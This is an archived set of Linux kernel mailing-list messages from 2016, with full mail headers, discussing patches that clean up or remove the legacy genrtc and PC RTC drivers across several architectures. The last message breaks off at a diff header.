Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753834AbcD0KHi (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 06:07:38 -0400
Original-Received: from www.linutronix.de ([62.245.132.108]:51438 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752384AbcD0KHe (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 06:07:34 -0400
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:256)
	(Exim 4.80)
	(envelope-from <tglx@linutronix.de>)
	id 1avMMz-000620-61; Wed, 27 Apr 2016 12:06:57 +0200
In-Reply-To: <1461707052-1337718-3-git-send-email-arnd@arndb.de>
User-Agent: Alpine 2.11 (DEB 23 2013-08-11)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001,URIBL_BLOCKED=0.001
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53852 gmane.linux.ports.alpha:3667 gmane.linux.kernel:2209206 gmane.linux.ports.ia64:26672 gmane.linux.ports.parisc:26695 gmane.linux.ports.ppc64.devel:126476 gmane.linux.kernel.cross-arch:31752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53852>

On Tue, 26 Apr 2016, Arnd Bergmann wrote:

> Commit 3195ef59cb42 ("x86: Do full rtc synchronization with ntp") had
> the side-effect of unconditionally enabling the RTC_LIB symbol on x86,
> which in turn disables the selection of the CONFIG_RTC and
> CONFIG_GEN_RTC drivers that contain a two older implementations of
> the CONFIG_RTC_DRV_CMOS driver.
> 
> This removes x86 from the list.
> 
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>

Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 12:07:29 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <4937900.aITlOE9vLo@wuerfel>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de> <20160427094410.GJ3264@piout.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461751728 24260 80.91.229.3 (27 Apr 2016 10:08:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 10:08:48 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	tony.luck@intel.com, geert@linux-m68k.org, jejb@parisc-linux.org,
	deller@gmx.de, benh@kernel.crashing.org, mpe@ellerman.id.au,
	dalias@libc.org, dhowells@redhat.com,
	yasutake.koichi@jp.panasonic.com, rth@twiddle.net,
	ink@jurassic.park.msu.ru, linux-alpha@vger.kernel.org,
	x86@kernel.org, a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 27 12:08:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avMOa-0002lY-Oq
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Apr 2016 12:08:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752300AbcD0KIg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 06:08:36 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:53428 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752220AbcD0KIe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 06:08:34 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue102) with ESMTPSA (Nemesis) id 0M4ZiO-1btnAA1AFQ-00yibH; Wed, 27 Apr
 2016 12:07:44 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <20160427094410.GJ3264@piout.net>
X-Provags-ID: V03:K0:Uq4p5Yn2qm4Fh+SmmZK0MmTPCqXm+8zsqmxZcqXoXEJHBDBX8aE
 8OKY1xfFgtSIWe4vFtXnknmOzV+5F5Z2cTTschXfIaUkCvcejASBfH7R9jeaflmwmohs0f/
 VwHHIj2RJjmIRF8EjL5eU3NuYkAygczZNwQUK3hSWILWPTRCZRdTuQIsu1t2NfRU+2blNBq
 epQk0P9bXEZqQU0BBm5lg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XdfxEVWGvVg=:GWuD1c9iwiRHJPiFcKqK1C
 +Qf/4uz8DvXp98BijYr8cNY1zyPbdOj/POhs+VCIbcurDATF7U2J0In3hPB5eGW4b96BVob57
 asg0K9tVPsk3NLPtbZwGLjfjDciAB/5iwGzVn1W3ZzGnp08qucTWbqNEU0VrHxawfP6zWcKq8
 082VwSmahTWTOQrlBaaoGzLooZCpKuVl68A/yfRRK9NWs5GiTLde/wkNv5rfdp5YImctAvKUS
 GiSws95uSuYgs/G/Qven1M1d+c5YIG+tVQI+DGlhwqG2/7KoCgqFBLNEIF3Kkp04FCTXivp4a
 fPHQSZDbxbjuK7bP8yzkFIvhzcW9AL9e4UoDryE86DNAM3ZdcFNSYEnAQDLcM4tcTUeYLccsA
 wVZjQk4tt4YF4oPLW41jasVZssWxiysyX1VjzwyhD+SfcW6mPC7i353ONdRdOtcNcCdWUvCyD
 4XS86imTY0YSgo26/ZG4/M9JQfYkp/JKRs8TE0vXVMTCI0AvfFfdIsIRAJ8BodRvmRS6mqnXu
 oH7EMjFrhC8ZTRx+Zhgkr9qmoYrgmOTPfsfEahw7gkeEkW4s9T4fGez/snHXHnkxRQiABoOyi
 77jm3TYZWZiLxxR53fMc3AqVYTdQh7aLmo95pNjVfdhEFvtiOHpWCso+U8dk+wYtXhU2F63fC
 Ka3b8ROsN4ZP14hwx3/WKgedLFK4tmMOrd+luZ8YPHaV5HOzqjZbrcZB4PfsManr06C4yFDQ4
 RqnlAs1ygMzassZV
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26696 gmane.linux.ports.alpha:3668 gmane.linux.kernel:2209207 gmane.linux.ports.ia64:26673 gmane.linux.ports.ppc64.devel:126477 gmane.linux.ports.sh.devel:53853 gmane.linux.kernel.cross-arch:31753
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26696>

On Wednesday 27 April 2016 11:44:10 Alexandre Belloni wrote:
> On 26/04/2016 at 23:44:04 +0200, Arnd Bergmann wrote :
> > I've had these patches in my tree for a while, after the first one
> > had a few issues that are fixed in this new version. The old-style
> > PC RTC driver is now also disabled on m68k (as pointed out by
> > Geert), ppc (it was also blacklisted), and m32r (I showed that
> > it did not build).
> > 
> > For the genrtc driver, rearranging the headers makes it simpler
> > to use and reduces duplication. In case of alpha and mn10300,
> > I've shown that the genrtc and rtc drivers are doing the same
> > thing, so we don't need them both. The remaining three
> > architectures (m68k, parisc, powerpc) actually all support
> > the newer rtc-generic driver, so we could remove genrtc completely
> > if we want to.
> > 
> 
> Personally, I'd go for the kill and remove genrtc instead of cleaning it up.

Right, so we could skip patches 5 and 6, and instead remove the two
headers as we remove the driver. Let's see what the architecture
maintainers think about it, at least powerpc actually enables gen_rtc
in its defconfig, so it might take a while to move it over.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel
Subject: Re: [PATCH v2 4/6] rtc: parisc: provide rtc_class_ops directly
Date: Wed, 27 Apr 2016 12:10:28 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <4761768.yGo2yiDr2v@wuerfel>
References: <201604270817.uNDAZuA5%fengguang.wu@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461751879 26704 80.91.229.3 (27 Apr 2016 10:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 10:11:19 +0000 (UTC)
Cc: kbuild test robot <lkp@intel.com>, linux-arch@vger.kernel.org,
	a.zummo@towertech.it, dalias@libc.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	deller@gmx.de, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	linux-m68k@lists.linux-m68k.org, geert@linux-m68k.org,
	kbuild-all@01.org, rtc-linux@googlegroups.com,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Apr 27 12:11:09 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avMR1-00035i-10
	for glpm-linux-m68k@plane.gmane.org; Wed, 27 Apr 2016 12:11:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752375AbcD0KLG (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 06:11:06 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.134]:63659 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751534AbcD0KLE (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 06:11:04 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue001) with ESMTPSA (Nemesis) id 0LxXtj-1bkk9x05ON-017GjU; Wed, 27 Apr
 2016 12:10:34 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <201604270817.uNDAZuA5%fengguang.wu@intel.com>
X-Provags-ID: V03:K0:vEi84q8gug4jNRGrPtR/fHKrmE1yzjySGLnkdX/YCFmrhDegoBN
 +H/njiFCyHOGNHayo+MeYCbzihlZogAK/uqAX3YuIi7KGOF4ZEX587WLTa+PQKDKIJ/RZ5r
 x31S4xn7NZNR+ZDpiOq+7jUQFeHoQBL5Ejywk6Nz6RSTy+TA7RxcYcZAb97E8ZYgXIersja
 eVYbMHk+kGObtMDQ2n+Sw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dRdiiBDDSTU=:yN9Ls7XA8U4H+IQok+z2mB
 5SVTj3VzCqSZ5zctGQ9r4elYrkvb8XXGKFgcfokPGyolIpTIE7l3Qnp68M+EDIZZ4VNoI6rUh
 MnZoBh3crqAe5Abf7jRZ5RIem06RsdsH4XzZHYpy//3hOXJBCWm3W+xB3JgDpJ0E262+MRnWX
 ZoSk6E36QsJdCr4btL8dAks9Iw+PmU59gA6oCfphtUhlXqSvuANUxaW0/Y7XXVuFg62mJ6NUn
 K2qpyYdgXlNJ4MANFookOiF0JL7FZ01Fzin+kxKJxSTxTSMYDL0nzZp5+mzC80xcwy+3j6eqS
 6vgVZv4x5FvzsLiUzbuxy+QLXUsMxmskKls8HnyxDDx1BFWGaqkmoMigJ9eE7nSPBkVSdl9MC
 o4Ccc9JMSIbTFV6/mE2Mdta304BplboC1SXqG5+qBwS03BvQA6jvpjWfDtOyXJHg8tpwtyx0P
 t9vZ2+5S9Vo+NbbpIibocsTp3SZG5mHpRog/J9IntN6TVFbkU1sgzUi6NYlag9m1bs1Yw7JYy
 O5PWc7C07gBTZO9QaLiaq4luUguifPdKYaw9UB05yS6bPouHnd9CEG6HiGR7YnGSGykccMbhf
 wVW3kgFIdGarHfXlfB7x80GbFDbkkgMP+5SFqdIqUrYoqG9d2h2B99iSgKYzBeFi48vN7DY6h
 RhCOBAz4dhlJ1rkJSIzRoTaZ3znTf3qK0S/kY28W9qLuVs5oI134516zux8eDNq51RX2sPKPS
 pCbPdRjK1cnz2L2s
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8554 gmane.linux.ports.ppc64.devel:126478 gmane.linux.kernel.cross-arch:31754 gmane.linux.ports.parisc:26697 gmane.linux.ports.sh.devel:53854 gmane.linux.ports.alpha:3669 gmane.linux.kernel:2209208
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8554>

On Wednesday 27 April 2016 08:22:24 kbuild test robot wrote:
> 
>    256  
>    257          memset(tm, 0, sizeof(*tm));
>    258          if (pdc_tod_read(&tod_data) < 0)
>    259                  return -EOPNOTSUPP;
>    260  
>    261          /* we treat tod_sec as unsigned, so this can work until year 2106 */
>  > 262          rtc_time64_to_tm(tod_data.tod_sec, &tm);
>    263          return rtc_valid_tm(tm);
>    264  }
> 

Fixed, thanks!

	Arnd

From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: char: legacy RTC cleanups
Date: Wed, 27 Apr 2016 12:19:59 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <CAMuHMdW6AODmVwB59uTvMydbTNiDDxQWB3p-Dp9Dka+GVyP_iw@mail.gmail.com>
References: <1461707052-1337718-1-git-send-email-arnd@arndb.de>
	<20160427094410.GJ3264@piout.net>
	<4937900.aITlOE9vLo@wuerfel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461752410 3347 80.91.229.3 (27 Apr 2016 10:20:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 10:20:10 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Tony Luck <tony.luck@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	alpha <linux-alpha@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Apr 27 12:20:06 2016
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1avMZh-00068m-R7
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 27 Apr 2016 12:20:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752815AbcD0KUD (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 27 Apr 2016 06:20:03 -0400
Original-Received: from mail-ig0-f196.google.com ([209.85.213.196]:34809 "EHLO
	mail-ig0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752244AbcD0KUA (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 27 Apr 2016 06:20:00 -0400
Original-Received: by mail-ig0-f196.google.com with SMTP id qu10so5949248igc.1;
        Wed, 27 Apr 2016 03:19:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=OJBWC/Evq2BCN3kmpXTsoQ86e/wDzPx//Zw+frFTx9g=;
        b=a1nbjIoyT9GFre73vu++bX1OnOg/Q/2jIwX5k1mJgIcTfM87wQkt2QJmdW5JdKg55I
         eAYkJLfOCPQPfpPhf1td8UQJKdauBhScg9aenHuM7zrXvmcOMBy/rxln8UnRTurPT0QV
         mq7ht0ROFT8rZKdF3awwR406Hs5X/A4mKTIBygDQsZbIiKf/uMFfqLWZ1Y0vyTeL82kR
         /KpXeQNAG0S1G7N4F0XqaozhVcCHi4V4RD1Fa23Rq6rmhIiIrQr5itbAQB4HQDMdh5yb
         KJbYoW2Ran9sQowp1WbmTC0ZERbcifi1aCGaifIL8Oj13o9JIwquLy4fpLsgUNxOmVhE
         0Eag==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=OJBWC/Evq2BCN3kmpXTsoQ86e/wDzPx//Zw+frFTx9g=;
        b=VkISIFs6N6PmfRzhyWfnxdA3QNvLShMsjbYNbgPAdAvy8rYFTHrsFANHZqhVVm8a4o
         brxVQ/c1xQyAB35xcv9uJ7KeIFzxNMRsxI3Q9P4o5nPuenI/I/c3paTgVtpb6R4/dyxY
         Y19k4ZjcHEuxjJI80ozkwkvGuRSZt4hb2GTYFbI5adbs6A4aUj/Z5B/yRupCN3C8CCTQ
         812zHDbdpwqTQlJekEJxhpidXs6yEURa7e18gpwa4r5sSGrp5qnRdbDQhv95MbO8TENr
         0YKIh/tAvIpDBEzAC5rqALdCXJn2KIoRw6rBvFzBLwQjdEjRNZYWwe681fRcsXnoqSWt
         cyNg==
X-Gm-Message-State: AOPr4FWADmyBPhXQ/O6j9WRh8Yhxf4Mzyhb0bpRSIv9jj+vntKlzEkpvFjewLgDU5eTgLPB54q+Za4WBLxcDdg==
X-Received: by 10.50.50.235 with SMTP id f11mr9947481igo.10.1461752399139;
 Wed, 27 Apr 2016 03:19:59 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Wed, 27 Apr 2016 03:19:59 -0700 (PDT)
In-Reply-To: <4937900.aITlOE9vLo@wuerfel>
X-Google-Sender-Auth: UCqbZ4PO2YdTgLypt4L78gxq69Y
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:26674 gmane.linux.ports.alpha:3670 gmane.linux.kernel:2209216 gmane.linux.ports.parisc:26698 gmane.linux.ports.ppc64.devel:126479 gmane.linux.ports.sh.devel:53855 gmane.linux.kernel.cross-arch:31755
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/26674>

Hi Arnd,

On Wed, Apr 27, 2016 at 12:07 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Wednesday 27 April 2016 11:44:10 Alexandre Belloni wrote:
>> On 26/04/2016 at 23:44:04 +0200, Arnd Bergmann wrote :
>> > I've had these patches in my tree for a while, after the first one
>> > had a few issues that are fixed in this new version. The old-style
>> > PC RTC driver is now also disabled on m68k (as pointed out by
>> > Geert), ppc (it was also blacklisted), and m32r (I showed that
>> > it did not build).
>> >
>> > For the genrtc driver, rearranging the headers makes it simpler
>> > to use and reduces duplication. In case of alpha and mn10300,
>> > I've shown that the genrtc and rtc drivers are doing the same
>> > thing, so we don't need them both. The remaining three
>> > architectures (m68k, parisc, powerpc) actually all support
>> > the newer rtc-generic driver, so we could remove genrtc completely
>> > if we want to.
>> >
>>
>> Personally, I'd go for the kill and remove genrtc instead of cleaning it up.
>
> Right, so we could skip patches 5 and 6, and instead remove the two
> headers as we remove the driver. Let's see what the architecture
> maintainers think about it, at least powerpc actually enables gen_rtc
> in its defconfig, so it might take a while to move it over.

FWIW, all PPC defconfigs (except tqm8xx.dts, which is a more recent platform)
enabling it did that long before my old commit to enable rtc-generic support
on PPC:

commit bcd68a70cb0eee556d86d93133aa150319bd9f53
Author: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Date:   Thu Feb 19 16:50:46 2009 +0100

    powerpc: Hook up rtc-generic, and kill rtc-ppc

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 1/6] rtc: m68k: provide rtc_class_ops directly
Date: Wed, 27 Apr 2016 12:34:19 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <4888267.R0sXv0tuDQ@wuerfel>
References: <1461707551-1337971-1-git-send-email-arnd@arndb.de> <1461707551-1337971-2-git-send-email-arnd@arndb.de> <CAMuHMdXS0JL_weLvjV4+i0ZPj=N+G6Vs1WDE9jffGUWehq5Xzg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461753308 18090 80.91.229.3 (27 Apr 2016 10:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 10:35:08 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Apr 27 12:34:58 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1avMo5-0001C2-3c
	for glpm-linux-m68k@plane.gmane.org; Wed, 27 Apr 2016 12:34:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752210AbcD0Ke4 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 27 Apr 2016 06:34:56 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:50129 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752177AbcD0Kez (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 27 Apr 2016 06:34:55 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue101) with ESMTPSA (Nemesis) id 0MA5UH-1ap5GU3RaT-00BL5n; Wed, 27 Apr
 2016 12:34:27 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <CAMuHMdXS0JL_weLvjV4+i0ZPj=N+G6Vs1WDE9jffGUWehq5Xzg@mail.gmail.com>
X-Provags-ID: V03:K0:DOm5Gp8gwBET6z1pvTwuJfIDuGDVRO28n3Mrju0h6Lgy2Sfboc7
 dFRBzP/+YqZN3uD3oGh3DsmkDw+xtyk+uVfn6Ore6LynWHVlgir+/t3KaItQXwZwvxqhnh1
 nSlI4cPjcMyS1tePkmT/H+z64qm0RHRPSNZ1TSNxkE4KEyjT2YWX9mMXkY6KPdV0dE+WLaW
 wQsvJDGdN7Bc5oevOJ96Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:GqpceevSirk=:4cWFckKEBnFZvIWQTkS4kL
 UgBqm6IJHLI8FZLTC9zOYM6ZcbiH2ip6yYCaRuVY4DmEfMeVKryb98BjQnGoU0qepdDprSvh9
 Eq0EltTbXlqzGEGE1RsSxR7syVYPx+dxesmOf0Dr7gro7PhXtn7oRzHEqZMXV9BAyXi0mPveJ
 BbUgnH6B6+VdW+KckJ/s4ZbU1M6+1jxB20gvteuwXsWevZs375rL00nyi7D5JSmGGv8SUvxN1
 lI4hRewCdRI3fZFivBhEQCDnQ4TtutPpAlQYr/9SzfEB6ACObPTRc87eRkAfKkdOZhdthhpWA
 OsdedP1zwEJwiGDXPLerBUZPNwzG/RZsolPQO/HtAcT6Pmcm/uE2W3LWsjmve6hUBx6G+Tbzm
 gYey1XtHt5d1h49PQeNNYwdD1OnnpI1knEspb5VqJXIxXYH3Z2IcXxKv0+FSKlozBTwDX80/z
 pGVutLvFMcjUT2gHFrrhoFpE3kWybhiAqQuf4yQVBSfVCiYNAw+OUu0rVA/Jls3pjt5rktXT/
 9RFTRQp9Fnh3Qfc9Ylje/CWor6x6Rwp9MZv0P472Rem4KgpoI7DN51nzlEy393LE7iaCfQMkH
 oNpOJrHpFMmEZ4GyIytLIiyh3W7qkitU/VidKGR39di02sSBwQkvh4KhdGXLJTNms2ppo/sfz
 /NWeVaSddWUcasprPXCiC4AnhR1CRZf3nTN6voHSs4PnkkYCFzkm1RQTz8IQY7i4EGRpJEETN
 P8evqb6N1mqU1Q1f
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8555 gmane.linux.ports.alpha:3671 gmane.linux.kernel:2209221 gmane.linux.ports.parisc:26699 gmane.linux.ports.ppc64.devel:126480 gmane.linux.ports.sh.devel:53856 gmane.linux.kernel.cross-arch:31756
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8555>

On Wednesday 27 April 2016 09:47:56 Geert Uytterhoeven wrote:
> > --- a/arch/m68k/kernel/time.c
